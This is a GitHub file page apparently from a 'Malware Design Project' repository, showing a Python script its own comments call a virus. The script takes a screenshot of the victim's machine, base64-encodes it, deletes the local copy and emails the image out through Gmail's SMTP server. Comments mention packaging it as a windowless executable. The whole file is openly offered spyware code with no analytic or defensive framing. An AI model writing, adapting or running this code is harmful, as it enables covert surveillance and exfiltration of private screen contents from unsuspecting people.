forked from sarthak1598/The-Malware-Design-Project
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSPYSCREEN(VIRUS).py
47 lines (39 loc) · 1.41 KB
/
SPYSCREEN(VIRUS).py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# This is another piece of virus/malicious code
# this malware is able to grab screenshot og the victim machine
# and send them to the attacker through the email-service like gmail../
#! usr/bin/python
import base64
import sys
import os
import time
try :
from PIL import ImageGrab
from email.mime.text import MIMEtext
from email.mime.multipart import MIMEMultipart
except:
os.system("pip install pillow ; pip install email")
grabscreen = ImageGrab.grab()
file = "screen.jpg"
grabscreen.save(file)
import os
import smtplib
f=open('screen.jpg','rb') #Open file in binary mode
data=f.read()
data=base64.b64encode(data) #Convert binary to base 64
f.close()
# file is also saved on the local machine
# pyinstaller -w -F .py
os.remove(file) # removing the original fime system..
s = smtplib.SMTP('smtp.gmail.com', 587) # smtp connection starting with gmail's smtp server ....
s.starttls()
login_mail = input("please enter your mail-id")
login_pass = input("enter your mail password")
# [!]Remember! You need to enable 'Allow less secure apps' in your #google account
# Enter your gmail username and password
s.login(login_mail, login_pass)
# message to be sent
message = data # data variable has the base64 string of screenshot
# Sender email, recipient email
s.sendmail("[email protected]", "[email protected]", message)
s.quit()
# end..